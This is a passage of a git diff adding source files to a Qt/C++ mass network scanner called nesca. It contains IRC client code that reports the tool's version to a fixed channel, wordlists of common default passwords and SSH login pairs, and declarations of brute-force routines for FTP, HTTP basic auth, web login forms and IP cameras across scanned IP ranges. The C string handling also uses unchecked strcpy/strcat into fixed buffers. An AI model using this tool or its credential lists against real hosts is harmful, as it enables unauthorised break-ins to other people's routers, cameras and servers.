strstr(comStr, "join :#") > 0)) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + +#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) + { + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); + _blinkNLine("[" + QString(senderNick) + "] joined the channel.", "[Server]"); + } + else + { + ircTh->doEmitChangeYellowIRCData("You have joined the channel."); + _blinkNLine("You have joined the channel.", "[Server]"); + if(!OnlineMsgSentFlag) //Sending data only once per connect + { + OnlineMsgSentFlag = true; + + char temp[64] = {0}; + strcpy(temp, "PRIVMSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :My version: v3_"); + strcat(temp, gVER); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + + connectedToIRC = true; + }; + }; +#pragma endregion + } + else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 + || strstr(comStr, "part #") > 0)) + { + char *temp; + char *temp2; + char senderNick[32] = {0}; + if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); + int nickLen = temp2 - temp; + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + +#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); + else ircTh->doEmitChangeYellowIRCData("You have left the channel."); +#pragma endregion + }; + } + else if(strstri(comStr, privTemp) != NULL) + { + char channelName[64] = {0}; + strcpy(channelName, "PRIVMSG #"); + strcat(channelName, IRC_CHAN); + strcat(channelName, " :"); + + char *tprv = comStr; + char *temp = NULL; + char *temp2 = NULL; + +#pragma region Pinger + __pinger(recvBuff); +#pragma endregion + char senderNick[32] = {0}; + if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); + if(temp != NULL && temp2 != NULL) + { + if(strlen(temp) > 0 && strlen(temp2) > 0) + { + int nickLen = temp2 - temp; + if(nickLen <= 32) + { + char *tempD = strstri(tprv, channelName); + int nsz = strlen(channelName); + + if(tempD == NULL) break; + char *temp4 = NULL; + int dsz = 0; + if(strstr(tempD, "\n") != NULL) + { + temp4 = strstr(tempD, "\n"); + dsz = temp4 - tempD - nsz - 1; + }; + + char tempData[512] = {0}; + if(temp4 != NULL) + { + strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); + } + else strcpy(tempData, tempD + nsz); + + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + + if(strlen(tempData) > 0) + { + QString strf; + strf = QString::fromLocal8Bit(tempData); + _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); + ircTh->doEmitionPlayDckingSound(); + bool HLFlag = doHL(strf.toLocal8Bit().data()); + int cCode = 0; +#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " [" + QString::fromLocal8Bit(senderNick) + "]:"); +#pragma endregion + }; + }; + }; + }; + ZeroMemory(senderNick, sizeof(senderNick)); + + } + else if(strstri( comStr, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data() ) != NULL) + { + char *tprv = comStr; + char *temp = NULL; + char *temp2 = NULL; + char senderNick[32] = {0}; + if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); + if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); + if(temp != NULL && temp2 != NULL) + { + if(strlen(temp) > 0 && strlen(temp2) > 0) + { + int nickLen = temp2 - temp; + if(nickLen <= 32) + { + char *tempD = strstri(tprv, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data()); + int nsz = QString(ircNick).size() + 10; + + if(tempD == NULL) break; + char *temp4 = NULL; + int dsz = 0; + if(strstr(tempD, "\n") != NULL) + { + temp4 = strstr(tempD, "\n"); + dsz = temp4 - tempD - nsz - 1; + }; + + char tempData[512] = {0}; + if(temp4 != NULL) + { + strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); + } + else strcpy(tempData, tempD + nsz); + + if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); + + if(strlen(tempData) > 0) + { + QString strf; + strf = QString::fromLocal8Bit(tempData); + _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); + ircTh->doEmitionPlayDckingSound(); + bool HLFlag = doHL(strf.toLocal8Bit().data()); + int cCode = 0; +#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "[" + QString::fromLocal8Bit(senderNick) + "]:"); +#pragma endregion + }; + }; + }; + }; + ZeroMemory(senderNick, sizeof(senderNick)); + }; + ZeroMemory(comStr, sizeof(comStr)); + }; + ZeroMemory(recvBuffG, MAX_IRC_RECV_LEN); + }; + }; + + if(iWantToConnect == true) + { +#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); +#pragma endregion + _blinkNLine("IRC server offlined!", "[Server]"); + Sleep(5000); + connectedToIRC == false; + }; + } + else + { +#pragma region QTGUI_Area + if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); + else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); + +#pragma endregion + }; + shutdown(lSock, 2); + closesocket(lSock); + }; + //}; + shutdown(lSock, 2); + closesocket(lSock); +}; + +void oIRC_Th::run() +{ + IRCLoop(); + ircTh->doEmitIRCOfflined(); +}; \ No newline at end of file diff --git a/pass.txt b/pass.txt new file mode 100755 index 0000000..e28e952 --- /dev/null +++ b/pass.txt @@ -0,0 +1,49 @@ +root +admin +password +123456 +1234 +12345 + +ADMIN + +cisco +ftp +ROOT +123123 +pass +passwd +qwerty +meinsm +monitor +test +sysadm +admin123 +Admin +123321 +12344321 +toor +qwerty123 +987654321 +system +telecom +dreambox +111111 +1111 +654321 +!@#$%^ +0000 +000000 +master +12345678 +666666 +123123123 +123454321 +0123456789 +qqqqqq +administrator +sys +guest +backup +Fujiyama +fujiyama \ No newline at end of file diff --git a/progressbardrawer.cpp b/progressbardrawer.cpp new file mode 100755 index 0000000..d0e0cca --- /dev/null +++ b/progressbardrawer.cpp @@ -0,0 +1,16 @@ +#include "progressbardrawer.h" +void ProgressbarDrawer::update() +{ + emit pbTh->upd(); +}; + +int nesca_3::perc = 0; +void ProgressbarDrawer::run() +{ + while(globalScanFlag) + { + msleep(1000); + nesca_3::perc = (unsigned long)100*indexIP/(gTargetsOverall == 0 ? 1 : gTargetsOverall); + update(); + }; +}; \ No newline at end of file diff --git a/progressbardrawer.h b/progressbardrawer.h new file mode 100755 index 0000000..4c6aed3 --- /dev/null +++ b/progressbardrawer.h @@ -0,0 +1,20 @@ +#ifndef PROGRESSBARDRAWER_H +#define PROGRESSBARDRAWER_H + +#pragma once +#include "nesca_3.h" +#include "resource.h" + +class ProgressbarDrawer : public QThread +{ + Q_OBJECT + +public: signals: void upd(); +public: + void update(); +protected: + void run(); +}; +extern ProgressbarDrawer *pbTh; + +#endif // PROGRESSBARDRAWER_H diff --git a/resource.h b/resource.h new file mode 100755 index 0000000..96333dd --- /dev/null +++ b/resource.h @@ -0,0 +1,252 @@ +//#if defined(WIN32) +#pragma once +#include "base64.h" +#if defined(Q_OS_WIN32) +#pragma once +#include "iostream" +#include +#include +#include +#endif +#if defined(Q_OS_LINUX) +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define ZeroMemory(Destination,Length) memset((Destination),0,(Length)) +#define Sleep(secs) usleep((secs)*1000) +#define WSAGetLastError() errno +#define closesocket(sock) ::close((sock)) + +typedef unsigned int UINT; +typedef const char * LPCSTR; +typedef int SOCKET; +typedef hostent HOSTENT; +typedef struct linger LINGER; +typedef int BOOL; +#define INVALID_SOCKET (SOCKET)(~0) +#define SOCKET_ERROR (-1) +#define SD_BOTH 0x02 +#define FAR far +#endif + +#define MAX_ADDR_LEN 128 +#define TITLE_MAX_LENGTH 512 +#define RECV_MAX_LENGTH 350000 +#define SD_BOTH 2 +#define PORTSET "80,81,88,8080,8081,60002,8008,8888,441,4111,6667,3536,22,21" +#define IRC_CHAN "iskopasi_lab03" + +using namespace std; + +extern bool gGlobalTrackLocked; + +extern SOCKET lSock; +extern char gVER[16]; +extern QVector vAlivLst; +extern QVector vAnomLst; +extern QVector vWFLst; +extern QVector vSuspLst; +extern QVector vLowlLst; +extern QVector vBALst; +extern QVector vSSHLst; +extern QVector vOvrlLst; +extern QVector vect; +extern bool printDelimiter; +extern QJsonArray *jsonArr; +extern bool smBit_1; +extern bool smBit_2; +extern bool smBit_3; +extern bool smBit_4; +extern bool smBit_5; +extern bool smBit_6; +extern bool smBit_7; +extern bool smBit_8; +extern bool gDebugMode; +extern bool gNegDebugMode; +extern bool HTMLDebugMode; +extern bool utfIRCFlag; +extern QVector actLst; +extern char inputStr[256]; +extern bool proxyEnabledFlag; +extern int nickFlag; +extern int offlineFlag; +extern bool OnlineMsgSentFlag; +extern int globalPinger; +extern bool destroychPThFlag; +extern string toLowerStr(const char *str); +extern QList lstOfLabels; +extern bool ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag; +extern int AnomC1, Filt, Overl, Lowl, Alive, Activity, saved, Susp, WF, offlines, ssh; +extern volatile int BA; +extern int PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH; +extern bool connectedToIRC; +extern bool globalScanFlag; +extern float QoSStep; +extern int MaxDataVal; +extern int tMax; +extern bool widgetIsHidden; +extern bool MapWidgetOpened; +extern int gTimeOut; +extern char endIP2[128]; +extern char metaIPDNS[256]; +extern char metaRange[256]; +extern char metaPercent[256]; +extern char metaIPS[256]; +extern char metaTargets[256]; +extern char metaETA[256]; +extern char metaOffline[256]; +extern int GlobalWSAErr; +extern bool globalScanFlag; +extern bool trackerOK; +extern char trcPort[32]; +extern char trcSrvPortLine[32]; +extern char trcSrv[256]; +extern char trcScr[256]; +extern char trcProxy[128]; +extern char trcPersKey[32]; +extern char ircServer[32]; +extern char ircPort[32]; +extern char ircProxy[64]; +extern char ircProxyPort[8]; +extern char ircNick[32]; +extern int stopGlobalLog; +extern int GlobalNegativeSize; +extern volatile int BrutingThrds; +extern char* thrds, top_level_domain[128]; +extern char startM[64], endM[64]; +struct workerStruct +{ + int id; + bool giveMeMore; + char argv[MAX_ADDR_LEN]; +}; + +extern char **GlobalNegatives; +extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst; +extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass; + +extern double ips; +extern int ovrlIPs, ipCounter; +extern int mode; +extern volatile int threads; +extern unsigned long int gTargets, gTargetsOverall, targets; +extern volatile int cons; +extern int found, fillerFlag, indexIP; +extern char timeLeft[64], tempRes[32], des1[64], res[32]; +extern int gMaxSize; +extern char saveStartIP[128]; +extern char saveEndIP[128]; +extern volatile int gThreads; +extern int gMode; +extern char gRange[128]; +extern char gFirstDom[128]; +extern char gPorts[65536]; + +extern int OnLiner; + +extern int ipsstart[4], ipsend[4], ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4], + startNum, endNum, overallPorts, flCounter, octet[4]; + + +extern std::vector dnsVec; + +typedef struct ST{ + char argv[2048]; +}sockstruct; + +struct conSTR{ + char *lowerBuff; + int size; +}; + +struct assClSt{ + const char *argv2; +}; + +struct PathStr{ + char codepage[32]; + char headr[TITLE_MAX_LENGTH]; + char path[1024]; + int flag; + int port; + char ip[2048]; +}; + +struct pl{ + int loginCounter; + int passCounter; +}; + +struct lopaStr{ + char login[128]; + char pass[32]; + char other[128]; +}; +extern int recvS(int lSock, char *recvBuffT, int len, int mode); +extern int sendS(int lSock, char *msg, int len, int mode); +extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); +extern void UserNickInit(SOCKET lSock); +extern void GetNicks(); +extern int startScan(char* argv); +extern volatile bool BConnLocked; +extern void BConInc(); +extern void BConDec(); +extern QString GetNSErrorDefinition(char *str, char *defin); +extern void _SaveBackupToFile(); +extern char* __cdecl strstri(char *_Str, const char *_SubStr); +extern char* _getAttribute(char *str, char *attrib); +extern char *FindFirstOcc(char *str, char *delim); +class Lexems + { + public: + int iterationCount, flag; + + Lexems() + { + iterationCount = 0; + flag = 0; + }; + ~Lexems() + { + iterationCount = 0; + }; + + int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *lst, char *rBuff); + int _filler(int p, char* buffcpy, char* ipi, int recd, Lexems *lx, char *hl); + int globalSearchNeg(const char *buffcpy, char *ip); + }; + +class Connector + { + public: + int _Updater(); + + lopaStr _ftpBrute(char *ip, int port, PathStr *ps); + lopaStr _BALobby(char *ip, int port, char *path, char *method, char *data); + lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); + + int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); + int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); + void _StartRangeFapping(int ipsstart[], int ipsend[], int &cons, char *argv2, ST *st); + void _Connect(void *s); + void _ConnectToPort(char *ip, const char *port, char *hl); + }; + diff --git a/sshpass.txt b/sshpass.txt new file mode 100755 index 0000000..30ad76f --- /dev/null +++ b/sshpass.txt @@ -0,0 +1,17 @@ +root:root +root:admin +admin:admin +admin:root +backup:backup +guest:guest +root:master +admin:master +admin:111111 +admin:1234 +admin:12345 +admin:123456 +root:1234 +root:12345 +root:123456 +admin:pasword +root:password \ No newline at end of file